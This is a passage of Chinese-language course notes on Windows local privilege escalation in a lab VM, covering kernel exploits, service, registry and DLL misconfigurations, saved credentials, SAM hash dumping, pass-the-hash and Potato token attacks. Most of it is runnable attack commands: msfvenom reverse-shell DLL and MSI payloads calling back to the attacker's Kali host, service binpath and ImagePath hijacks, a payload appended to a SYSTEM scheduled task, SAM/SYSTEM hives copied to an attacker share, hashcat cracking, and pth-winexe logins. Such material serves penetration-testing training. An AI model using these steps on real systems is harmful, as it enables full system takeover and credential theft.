啟動 PowerShell 會話,使用點源(dot sourcing)方式加載腳本:

powershell

PS> . .\PowerUp.ps1

運行Invoke-AllChecks函數,開始檢測常見的權限提升配置錯誤:

powershell

PS> Invoke-AllChecks

運行 SharpUp

打開命令提示符(command prompt),直接運行可執行文件:

cmd

> .\SharpUp.exe

SharpUp 會立即開始檢測與 PowerUp 相同的配置錯誤。

Seatbelt

Seatbelt 是一款枚舉工具(enumeration tool),包含多個枚舉檢查項(enumeration checks)。 它不主動檢測權限提升配置錯誤,而是提供相關信息供進一步分析。

  • 源碼(Code):GitHub - GhostPack/Seatbelt: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

  • 預編譯版本(Pre-Compiled):Ghostpack-CompiledBinaries/Seatbelt.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub

運行 Seatbelt

  • 運行所有檢查并過濾不重要的結果:

    cmd

    > .\Seatbelt.exe all
  • 運行特定檢查項:

    cmd

    > .\Seatbelt.exe <檢查項1> <檢查項2> …

winPEAS

winPEAS 是一款功能強大的工具,不僅能主動檢測權限提升配置錯誤,還會在結果中高亮顯示關鍵信息。 下載鏈接:PEASS-ng/winPEAS at master · peass-ng/PEASS-ng · GitHub

運行 winPEAS

運行前需添加注冊表項(registry key),然后重新打開命令提示符:

cmd

> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

  • 運行所有檢查,跳過耗時搜索:

    cmd

    > .\winPEASany.exe quiet cmd fast
  • 運行特定類別檢查:

    cmd

    > .\winPEASany.exe quiet cmd systeminfo

accesschk.exe

accesschk.exe 是一款老舊但可靠的工具,用于檢查用戶的訪問控制權限(access control rights)。 可使用它檢查用戶或組對文件、目錄、服務和注冊表項的訪問權限。 缺點:該工具的較新版本會彈出圖形界面(GUI)的 “接受 EULA” 彈窗;在命令行中使用時,需選擇仍支持/accepteula命令行選項的舊版本。

Kernel Exploits(內核漏洞利用)

什么是 Kernel(內核)?

Kernel 是任何操作系統的核心,可視為應用程序(application software)與計算機硬件(computer hardware)之間的中間層。 Kernel 完全控制操作系統,利用 Kernel 漏洞可獲取 SYSTEM user 權限。

查找 Kernel Exploits

查找和使用 Kernel 漏洞利用通常步驟簡單:

  1. 枚舉 Windows 版本 / 補丁級別(使用systeminfo命令)

  2. 查找匹配的漏洞利用(通過 Google、ExploitDB、GitHub)

  3. 編譯并運行漏洞利用程序

需注意:Kernel 漏洞利用通常穩定性較差,可能是 “一次性” 的(one-shot),甚至可能導致系統崩潰(system crash)。

相關工具

  • Windows Exploit Suggester:GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation

  • 預編譯 Kernel 漏洞利用(Precompiled Kernel Exploits):GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平臺提權漏洞集合

  • Watson:GitHub - rasta-mouse/Watson: Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities

權限提升步驟(注:以下步驟適用于 Windows 7)

  1. 提取

    systeminfo

    命令的輸出:

    cmd

    > systeminfo > systeminfo.txt
  2. 運行 wesng 查找潛在漏洞利用:

    bash

    # python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
  3. 交叉驗證結果與預編譯漏洞利用:GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平臺提權漏洞集合

  1. 下載針對 CVE-2018-8210 的預編譯漏洞利用程序到 Windows 虛擬機: windows-kernel-exploits/CVE-2018-8120/x64.exe at master · SecWiki/windows-kernel-exploits · GitHub

  2. 在 Kali 上啟動監聽器(listener),運行漏洞利用程序,并指定反向 shell 可執行文件(該 shell 將以 SYSTEM 權限運行):

    cmd

    > .\x64.exe C:\PrivEsc\reverse.exe

Service Exploits(服務漏洞利用)

服務(Services)

服務是在后臺運行的程序,可接收輸入或執行定期任務。 若服務以 SYSTEM 權限運行且存在配置錯誤,利用這些配置錯誤可能獲取 SYSTEM 權限的命令執行(command execution)。

服務相關命令

  • 查詢服務配置:

    cmd

    > sc.exe qc <服務名>
  • 查詢服務當前狀態:

    cmd

    > sc.exe query <服務名>
  • 修改服務配置選項:

    cmd

    > sc.exe config <服務名> <選項>= <值>
  • 啟動 / 停止服務:

    cmd

    > net start/stop <服務名>

服務配置錯誤類型

  1. 不安全的服務屬性(Insecure Service Properties)

  2. 未加引號的服務路徑(Unquoted Service Path)

  3. 薄弱的注冊表權限(Weak Registry Permissions)

  4. 不安全的服務可執行文件(Insecure Service Executables)

  5. DLL 劫持(DLL Hijacking)

不安全的服務權限(Insecure Service Permissions)

每個服務都有一個 ACL,用于定義特定于服務的權限。

  • 部分權限無風險(如SERVICE_QUERY_CONFIGSERVICE_QUERY_STATUS

  • 部分權限有利用價值(如SERVICE_STOPSERVICE_START

  • 部分權限風險極高(如SERVICE_CHANGE_CONFIGSERVICE_ALL_ACCESS

若你的用戶擁有修改某服務配置的權限,且該服務以 SYSTEM 權限運行,則可將服務使用的可執行文件替換為自己的文件。

注意陷阱(Potential Rabbit Hole):若你能修改服務配置,但無法停止 / 啟動服務,則無法實現權限提升!

權限提升步驟

  1. 運行 winPEAS 檢測服務配置錯誤:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 記錄可修改的 “daclsvc” 服務

  3. 使用 accesschk.exe 確認權限:

    cmd

    > .\accesschk.exe /accepteula -uwcqv user daclsvc
  4. 查詢該服務的當前配置:

    cmd

    > sc qc daclsvc

  1. 查詢該服務的當前狀態:

    cmd

    > sc query daclsvc
  2. 重新配置服務,使其使用你的反向 shell 可執行文件:

    cmd

    > sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
  3. 在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:

    cmd

    > net start daclsvc

未加引號的服務路徑(Unquoted Service Path)

在 Windows 中,可執行文件運行時可省略擴展名(如whoami.exe可直接通過whoami運行)。 部分可執行文件需要參數(arguments),參數以空格分隔(如someprog.exe arg1 arg2 arg3…)。

這種特性會導致:當使用未加引號且包含空格的絕對路徑時,路徑解析會產生歧義。

以以下未加引號的路徑為例:C:\Program Files\Some Dir\SomeProgram.exe

  • 對用戶而言,顯然是運行SomeProgram.exe

  • 對 Windows 而言,可能將C:\Program視為可執行文件,將 “Files\Some” 和 “Dir\SomeProgram.exe” 視為參數

Windows 會按順序檢查所有可能的解析結果。若你能向 Windows 解析順序中優先于實際可執行文件的路徑寫入文件,即可欺騙服務執行你的文件。

權限提升步驟

  1. 運行 winPEAS 檢測服務配置錯誤:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 記錄 “unquotedsvc” 服務 —— 其路徑未加引號且包含空格: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

  3. 使用

    sc

    命令確認:

    cmd

    > sc qc unquotedsvc

  1. 使用 accesschk.exe 檢查寫入權限:

    cmd

    > .\accesschk.exe /accepteula -uwdq C:\
    > .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
    > .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
  2. 復制反向 shell 可執行文件,并按需求重命名:

    cmd

    > copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
  3. 在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:

    cmd

    > net start unquotedsvc

薄弱的注冊表權限(Weak Registry Permissions)

Windows 注冊表(Registry)中存儲了每個服務的條目。由于注冊表條目可配置 ACL,若 ACL 存在配置錯誤,即使無法直接修改服務,也可能修改服務的配置。

權限提升步驟

  1. 運行 winPEAS 檢測服務配置錯誤:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 記錄 “regsvc” 服務存在薄弱的注冊表條目,使用 PowerShell 確認:

    powershell

    PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
  3. 也可使用 accesschk.exe 確認:

    cmd

    > .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

  1. 覆蓋

    ImagePath

    注冊表項,使其指向你的反向 shell 可執行文件:

    cmd

    > reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  2. 在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:

    cmd

    > net start regsvc

不安全的服務可執行文件(Insecure Service Executables)

若原始服務可執行文件可被你的用戶修改,只需將其替換為反向 shell 可執行文件即可。

注意:若在真實系統中利用此漏洞,需先備份原始可執行文件!

權限提升步驟

  1. 運行 winPEAS 檢測服務配置錯誤:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 記錄 “filepermsvc” 服務的可執行文件對所有人(everyone)可寫,使用 accesschk.exe 確認:

    cmd

    > .\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
  3. 備份原始服務可執行文件:

    cmd

    > copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp

  1. 復制反向 shell 可執行文件,覆蓋原始服務可執行文件:

    cmd

    > copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
  2. 在 Kali 上啟動監聽器,然后啟動服務觸發漏洞利用:

    cmd

    > net start filepermsvc

DLL 劫持(DLL Hijacking)

服務通常會嘗試從動態鏈接庫(DLL,Dynamic-Link Library)加載功能。DLL 提供的功能會以與加載它的服務相同的權限運行。

  • 若 DLL 通過絕對路徑加載,且該 DLL 可被你的用戶修改,則可能實現權限提升

  • 更常見的可利用配置錯誤:系統中缺少某 DLL,且你的用戶對 Windows 搜索 DLL 的 PATH 路徑中的某個目錄有寫入權限

缺點:初步檢測存在漏洞的服務難度較大,整個過程通常需要手動操作。

  1. 使用 winPEAS 枚舉非 Windows 服務:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 記錄

    C:\Temp

    目錄可寫且在 PATH 中,先枚舉你的用戶可停止 / 啟動的服務:

    cmd

    > .\accesschk.exe /accepteula -uvqc user dllsvc
  3. “dllsvc” 服務存在 DLL 劫持漏洞,根據 winPEAS 輸出,該服務運行

    dllhijackservice.exe

    可執行文件,使用

    sc

    命令手動確認:

    cmd

    > sc qc dllsvc

  1. 以管理員權限運行 Procmon64.exe,按Ctrl+L打開 “Filter”(篩選)菜單

  2. 添加篩選條件:“Process Name”(進程名)匹配dllhijackservice.exe

  3. 在主界面中,取消選中 “Registry”(注冊表)和 “Network”(網絡)活動

  1. 啟動服務:

    cmd

    > net start dllsvc
  2. 返回 Procmon,查看是否出現多個與hijackme.dll相關的 “NAME NOT FOUND”(未找到文件)錯誤

  3. 觀察到 Windows 會嘗試在C:\Temp目錄中查找該 DLL(此前已確認該目錄對當前用戶可寫)

  1. 在 Kali 上生成名為

    hijackme.dll

    的反向 shell DLL:

    bash

    # msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
  2. 將該 DLL 復制到 Windows 虛擬機的

    C:\Temp

    目錄,在 Kali 上啟動監聽器,然后停止 / 啟動服務觸發漏洞利用:

    cmd

    > net stop dllsvc
    > net start dllsvc

Registry(注冊表)相關權限提升

AutoRuns(自動運行項)

Windows 可配置為在啟動時以高權限(elevated privileges)運行命令,這些 “AutoRuns” 項在注冊表中配置。

若你能修改某 AutoRun 可執行文件,且能重啟系統(或等待系統重啟),則可實現權限提升。

權限提升步驟

  1. 使用 winPEAS 檢測可寫的 AutoRun 可執行文件:

    cmd

    > .\winPEASany.exe quiet applicationsinfo
  2. 也可手動枚舉 AutoRun 可執行文件:

    cmd

    > reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    然后使用 accesschk.exe 驗證每個可執行文件的權限:

    cmd

    > .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

  1. 記錄

    C:\Program Files\Autorun Program\program.exe

    對所有人(Everyone)可寫,先備份原始文件:

    cmd

    > copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
  2. 復制反向 shell 可執行文件,覆蓋該 AutoRun 可執行文件:

    cmd

    > copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
  3. 在 Kali 上啟動監聽器,然后重啟 Windows 虛擬機觸發漏洞利用。

    注:在 Windows 10 中,該漏洞利用會以最后登錄用戶的權限運行,因此需先注銷 “user” 賬戶,再以 “admin” 賬戶登錄。

AlwaysInstallElevated

MSI 文件是用于安裝應用程序的包文件,默認以嘗試安裝它的用戶權限運行。 Windows 允許這些安裝程序(installers)以高權限(即 admin 權限)運行。若啟用此配置,可生成包含反向 shell 的惡意 MSI 文件實現權限提升。

實現此漏洞利用的前提:需同時啟用兩個注冊表設置。

  • 本地計算機(local machine)的AlwaysInstallElevated值需設為 1,路徑:HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

  • 當前用戶(current user)的AlwaysInstallElevated值需設為 1,路徑:HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

若任一設置缺失或禁用,漏洞利用均無法成功。

權限提升步驟

  1. 使用 winPEAS 檢測這兩個注冊表值是否已設置:

    cmd

    > .\winPEASany.exe quiet windowscreds
  2. 也可手動驗證:

    cmd

    > reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    > reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

  1. 使用 msfvenom 生成 MSI 格式的反向 shell,保存為

    .msi

    擴展名:

    bash

    # msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
  2. reverse.msi

    復制到 Windows 虛擬機,在 Kali 上啟動監聽器,運行安裝程序觸發漏洞利用:

    cmd

    > msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

密碼(Passwords)相關權限提升

密碼的作用?

是的,密碼是權限提升的重要突破口。即使是管理員也可能重復使用密碼,或在系統中留下可讀取的密碼。 Windows 在這方面尤其脆弱,因為其部分功能會以不安全的方式存儲密碼。

注冊表中的密碼

許多程序會在 Windows 注冊表中存儲配置選項,Windows 系統本身有時也會在注冊表中以明文(plaintext)形式存儲密碼。 因此,搜索注冊表中的密碼至關重要。

搜索注冊表中的密碼

以下命令用于搜索注冊表中包含 “password” 的鍵(keys)和值(values):

cmd

> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s

該命令通常會生成大量結果,因此更高效的方式是直接查看已知的密碼存儲位置。

權限提升步驟

  1. 使用 winPEAS 檢測常見的密碼存儲位置:

    cmd

    > .\winPEASany.exe quiet filesinfo userinfo

    注:最后的檢查項可能需要較長時間完成

  2. 從結果中提取 admin 用戶的自動登錄憑據(AutoLogon credentials)和 Putty 會話憑據(Putty session credentials):用戶名 admin,密碼 password123

  1. 手動驗證這些憑據:

    cmd

    > reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
    > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
  2. 在 Kali 上使用

    winexe

    命令,通過這些憑據生成 shell:

    bash

    # winexe -U 'admin%password123' //192.168.1.22 cmd.exe

保存的憑據(Saved Creds)

Windows 的runas命令允許用戶以其他用戶的權限運行命令,通常需要知道目標用戶的密碼。 但 Windows 也允許用戶將憑據保存到系統中,利用這些保存的憑據可繞過密碼驗證。

權限提升步驟

  1. 使用 winPEAS 檢測保存的憑據:

    cmd

    > .\winPEASany.exe quiet cmd windowscreds
  2. 確認存在 admin 用戶的保存憑據

  3. 手動使用以下命令驗證:

    cmd

    > cmdkey /list

  1. 若未找到保存的憑據,運行以下腳本刷新憑據:

    cmd

    > C:\PrivEsc\savecred.bat
  2. 利用保存的憑據以 admin 用戶權限運行任意命令:在 Kali 上啟動監聽器,運行反向 shell 可執行文件:

    cmd

    > runas /savecred /user:admin C:\PrivEsc\reverse.exe

配置文件(Configuration Files)

部分管理員會在系統中留下包含密碼的配置文件,Unattend.xml就是典型例子 —— 該文件用于實現 Windows 系統的自動化安裝。

搜索配置文件

  • 在當前目錄下遞歸搜索名稱包含 “pass” 或擴展名為 “.config” 的文件:

    cmd

    > dir /s *pass* == *.config
  • 在當前目錄下遞歸搜索包含 “password” 且擴展名為

    .xml

    .ini

    .txt

    的文件:

    cmd

    > findstr /si password *.xml *.ini *.txt

權限提升步驟

  1. 使用 winPEAS 搜索可能包含憑據的常見文件:

    cmd

    > .\winPEASany.exe quiet cmd searchfast filesinfo
  2. 找到

    Unattend.xml

    文件,查看其內容:

    cmd

    > type C:\Windows\Panther\Unattend.xml

  1. 從文件中提取 admin 用戶的密碼(Base64 編碼):cGFzc3dvcmQxMjM=

  2. 在 Kali 上解碼該密碼:

    bash

    # echo "cGFzc3dvcmQxMjM=" | base64 -d
  3. 再次使用winexe命令,以 admin 用戶身份生成 shell。

SAM 文件

Windows 將密碼哈希(password hashes)存儲在安全賬戶管理器(SAM,Security Account Manager)中。 這些哈希使用一個密鑰加密,該密鑰存儲在名為SYSTEM的文件中。 若你能讀取 SAM 和 SYSTEM 文件,即可提取密碼哈希。

SAM/SYSTEM 文件位置

  • SAM 和 SYSTEM 文件位于C:\Windows\System32\config目錄

  • Windows 運行時,這些文件處于鎖定狀態

  • 文件備份可能存在于C:\Windows\RepairC:\Windows\System32\config\RegBack目錄

權限提升步驟

  1. C:\Windows\Repair目錄中找到 SAM 和 SYSTEM 文件的備份,確認當前用戶可讀取

  2. 將文件復制到 Kali:

    cmd

    > copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
    > copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\

  1. 下載最新版本的 creddump 工具集:

    bash

    # git clone https://github.com/Neohapsis/creddump7.git
  2. 運行

    pwdump

    工具,從 SAM 和 SYSTEM 文件中提取哈希:

    bash

    # python2 creddump7/pwdump.py SYSTEM SAM
  3. 使用 hashcat 破解 admin 用戶的哈希:

    bash

    # hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

哈希傳遞(Passing the Hash)

Windows 的多個服務支持使用哈希(而非密碼)進行身份驗證。 可使用修改版的winexe工具(pth-winexe),通過 admin 用戶的哈希生成命令提示符。

權限提升步驟

  1. 從之前的步驟中提取 admin 用戶的哈希

  2. 使用該哈希通過

    pth-winexe

    生成命令提示符:

    bash

    # pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
  3. 使用該哈希通過

    pth-winexe

    生成 SYSTEM 級別的命令提示符:

    bash

    # pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe

計劃任務(Scheduled Tasks)相關權限提升

計劃任務(Scheduled Tasks)

Windows 可配置計劃任務,使其在特定時間、定期(如每 5 分鐘)或由特定事件(如用戶登錄)觸發時運行。 計劃任務通常以創建者的權限運行,但管理員可配置任務以其他用戶(包括 SYSTEM)的權限運行。

計劃任務相關命令

低權限用戶賬戶無法輕松枚舉其他用戶的自定義計劃任務。

  • 列出當前用戶可見的所有計劃任務:

    cmd

    > schtasks /query /fo LIST /v
  • 在 PowerShell 中篩選非 Microsoft 默認任務:

    powershell

    PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

通常需依賴其他線索(如找到指示計劃任務運行的腳本或日志文件)進行枚舉。

權限提升步驟

  1. C:\DevTools

    目錄中找到 PowerShell 腳本

    CleanUp.ps1

    ,查看其內容:

    cmd

    > type C:\DevTools\CleanUp.ps1
  2. 確認該腳本每分鐘以 SYSTEM 用戶權限運行,使用 accesschk.exe 檢查當前用戶對該腳本的權限:

    cmd

    > C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

    (確認當前用戶有寫入權限)

  1. 備份該腳本:

    cmd

    > copy C:\DevTools\CleanUp.ps1 C:\Temp\
  2. 在 Kali 上啟動監聽器

  3. 使用

    echo

    命令,將反向 shell 可執行文件的調用追加到腳本末尾:

    cmd

    > echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
  4. 等待計劃任務運行(每分鐘運行一次),完成漏洞利用。

不安全的 GUI 應用(Insecure GUI Apps,Citrix 方法)

不安全的 GUI 應用

在部分(較舊的)Windows 版本中,用戶可能被授予以管理員權限運行特定 GUI 應用的權限。 通常有多種方法可從 GUI 應用中生成命令提示符(包括使用 Windows 原生功能)。 由于父進程(GUI 應用)以管理員權限運行,生成的命令提示符也會擁有管理員權限。

我將此方法稱為 “Citrix 方法”,因為它使用了許多與突破 Citrix 環境相同的技術。

權限提升步驟

  1. 使用 “user” 賬戶通過 GUI 登錄 Windows 虛擬機

  2. 雙擊桌面的 “AdminPaint” 快捷方式

  3. 打開命令提示符,運行以下命令:

    cmd

    > tasklist /V | findstr mspaint.exe

    (確認

    mspaint.exe

    以管理員權限運行)

  1. 在 Paint 中,點擊 “File”(文件)→“Open”(打開)

  2. 在導航輸入框中,將內容替換為:file://c:/windows/system32/cmd.exe

  3. 按 Enter 鍵,會打開一個以管理員權限運行的命令提示符。

啟動應用(Startup Apps)相關權限提升

啟動應用

每個用戶可通過將快捷方式放入特定目錄,定義登錄時自動啟動的應用。 Windows 還存在一個面向所有用戶的啟動目錄: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

若你能在該目錄中創建文件,可放入反向 shell 可執行文件,當管理員登錄時實現權限提升。

需注意:該目錄需使用快捷方式文件(.lnk)。可使用以下 VBScript 創建快捷方式文件:

vbscript

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save

權限提升步驟

  1. 使用 accesschk.exe 檢查 StartUp 目錄的權限:

    cmd

    > .\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
  2. 確認BUILTIN\Users組對該目錄有寫入權限

  1. 創建CreateShortcut.vbs文件,寫入上述 VBScript 代碼(根據實際路徑調整)

  2. 使用

    cscript

    運行該腳本:

    cmd

    > cscript CreateShortcut.vbs
  3. 在 Kali 上啟動監聽器,然后以 admin 用戶身份登錄,觸發漏洞利用。

已安裝應用(Installed Applications)相關權限提升

已安裝應用

大多數與已安裝應用相關的權限提升,都基于前文已涵蓋的配置錯誤(如不安全的可執行文件、服務配置錯誤等)。 但部分權限提升源于緩沖區溢出(buffer overflows)等漏洞,因此識別已安裝應用及其版本、搜索相關漏洞仍很重要。

相關命令

  • 手動枚舉所有運行中的程序:

    cmd

    > tasklist /v
  • 使用 Seatbelt 搜索非標準進程:

    cmd

    > .\seatbelt.exe NonstandardProcesses
  • 使用 winPEAS 枚舉進程(注:

    procesinfo

    存在拼寫錯誤):

    cmd

    > .\winPEASany.exe quiet procesinfo

利用 Exploit-DB 查找漏洞

找到目標進程后,嘗試識別其版本(可運行可執行文件并添加/?-h參數,或查看Program Files目錄中的配置文件 / 文本文件)。 通過 Exploit-DB 搜索對應的漏洞:部分漏洞會提供利用步驟,部分則需要編譯并運行漏洞利用代碼。

Hot Potato 攻擊

Hot Potato 簡介

Hot Potato 是一種結合欺騙攻擊(spoofing attack)和 NTLM 中繼攻擊(NTLM relay attack)的攻擊方法,用于獲取 SYSTEM 權限。

該攻擊欺騙 Windows,使其以 SYSTEM 用戶身份向偽造的 HTTP 服務器發送 NTLM 身份驗證請求,然后將 NTLM 憑據中繼到 SMB 服務,實現命令執行。 該攻擊適用于 Windows 7、Windows 8、Windows 10 早期版本及其對應的服務器版本。

權限提升步驟(注:以下步驟適用于 Windows 7)

  1. potato.exe漏洞利用程序復制到 Windows 系統

  2. 在 Kali 上啟動監聽器

  3. 運行漏洞利用程序:

    cmd

    > .\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
  4. 等待 Windows Defender 更新(或手動觸發更新)。

Token Impersonation(令牌偽造)相關權限提升

服務賬戶(Service Accounts)

課程開頭簡要介紹過服務賬戶:服務賬戶為運行服務而配置特定權限,且無法直接登錄。 但服務賬戶存在多個安全問題,使其成為權限提升的突破口。

Rotten Potato

Rotten Potato 漏洞于 2016 年被發現:服務賬戶可攔截 SYSTEM 令牌(SYSTEM ticket),并利用該令牌偽造 SYSTEM 用戶身份。

該漏洞利用的前提是:服務賬戶通常啟用了SeImpersonatePrivilege權限。

SeImpersonatePrivilege 與 SeAssignPrimaryTokenPrivilege

服務賬戶通常配置有這兩種權限:

  • 允許賬戶偽造其他用戶的訪問令牌(access tokens)(包括 SYSTEM 用戶的令牌)

  • 任何擁有這兩種權限的用戶,均可運行本章節介紹的令牌偽造漏洞利用工具

Juicy Potato

Rotten Potato 的利用范圍有限,而 Juicy Potato 的工作原理與 Rotten Potato 相同,但作者通過深入研究擴展了其利用場景。 下載鏈接:GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.

權限提升步驟(注:以下步驟適用于 Windows 7)

  1. PSExec64.exeJuicyPotato.exe漏洞利用程序復制到 Windows 系統

  2. 在 Kali 上啟動監聽器

  3. 以管理員身份打開命令提示符,使用

    PSExec64.exe

    生成以 Local Service 賬戶身份運行的反向 shell:

    cmd

    > C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

  1. 在 Kali 上啟動另一個監聽器

  2. 運行

    JuicyPotato

    漏洞利用程序,生成以 SYSTEM 權限運行的反向 shell:

    cmd

    > C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d49b8-abc6-03dd84127020}
  3. 若上述 CLSID({03ca…})無效,可參考以下列表或運行GetCLSID.ps1 PowerShell 腳本: juicy-potato/CLSID/README.md at master · ohpe/juicy-potato · GitHub

Rogue Potato

Rogue Potato 是 “Potato” 系列漏洞利用工具的最新版本:

  • GitHub 鏈接:GitHub - antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to System

  • 技術博客:No more JuicyPotato? Old story, welcome RoguePotato! – Decoder's Blog

  • 預編譯漏洞利用程序:Releases · antonioCoco/RoguePotato · GitHub

權限提升步驟

  1. PSExec64.exeRoguePotato.exe漏洞利用程序復制到 Windows 系統

  2. 在 Kali 上設置

    socat

    轉發器,將 Kali 的 135 端口轉發到 Windows(IP:192.168.1.22)的 9999 端口:

    bash

    # sudo socat tcp-listen:135,reuseaddr,fork tcp:192.168.1.22:9999
  3. 在 Kali 上啟動監聽器

  1. 以管理員身份打開命令提示符,使用

    PSExec64.exe

    生成以 Local Service 賬戶身份運行的反向 shell:

    cmd

    > C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
  2. 在 Kali 上啟動另一個監聽器

  3. 運行

    RoguePotato

    漏洞利用程序,生成以 SYSTEM 權限運行的反向 shell(192.168.1.11 為 Kali 的 IP):

    cmd

    > C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 –l 9999 -e "C:\PrivEsc\reverse.exe"

PrintSpoofer

PrintSpoofer 是一款針對 Print Spooler 服務的漏洞利用工具:

  • GitHub 鏈接:GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"

  • 技術博客:PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 | itm4n's blog

權限提升步驟

  1. PSExec64.exePrintSpoofer.exe漏洞利用程序復制到 Windows 系統

  2. 在 Kali 上啟動監聽器

  3. 以管理員身份打開命令提示符,使用

    PSExec64.exe

    生成以 Local Service 賬戶身份運行的反向 shell:

    cmd

    > C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

  1. 在 Kali 上啟動另一個監聽器

  2. 運行

    PrintSpoofer

    漏洞利用程序,生成以 SYSTEM 權限運行的反向 shell:

    cmd

    > C:\PrivEsc\PrintSpoofer.exe –i -c "C:\PrivEsc\reverse.exe"

端口轉發(Port Forwarding)

端口轉發的作用

有時在 Kali 上運行漏洞利用代碼更便捷,但目標漏洞程序可能僅監聽 Windows 的內部端口。 這種情況下,需將 Kali 的某個端口轉發到 Windows 的內部端口,可使用plink.exe工具(來自 PuTTY 的開發團隊)實現。

plink.exe 的使用

使用plink.exe進行端口轉發的通用命令格式:

cmd

> plink.exe <用戶名>@<KaliIP> -R <Kali端口>:<目標IP>:<目標端口>

注:<目標IP>通常為本地 IP(如 127.0.0.1)。plink.exe需要通過 SSH 連接到 Kali,然后利用 SSH 隧道實現端口轉發。

權限提升步驟

  1. 首先驗證能否通過

    winexe

    遠程登錄:

    bash

    # winexe -U 'admin%password123' //192.168.1.22 cmd.exe
  2. 以管理員身份打開命令提示符,重新啟用防火墻:

    cmd

    > netsh advfirewall set allprofiles state on
  3. 確認此時winexe命令已無法成功登錄

  1. plink.exe文件復制到 Windows 系統,然后停止 Kali 上的 SMB 服務器(若正在運行)

  2. 確保 Kali 的 SSH 服務器已啟動且允許 root 登錄:檢查/etc/ssh/sshd_config文件中PermitRootLogin yes選項是否已取消注釋,必要時重啟 SSH 服務

  3. 在 Windows 上運行

    plink.exe

    ,將 Kali 的 445 端口轉發到 Windows 的 445 端口:

    cmd

    > plink.exe root@192.168.1.11 -R 445:127.0.0.1:445
  4. 在 Kali 上修改

    winexe

    命令,將目標 IP 改為

    localhost

    (或 127.0.0.1),通過端口轉發獲取 shell:

    bash

    # winexe -U 'admin%password123' //localhost cmd.exe

getsystem(命名管道與令牌復制)

訪問令牌(Access Tokens)

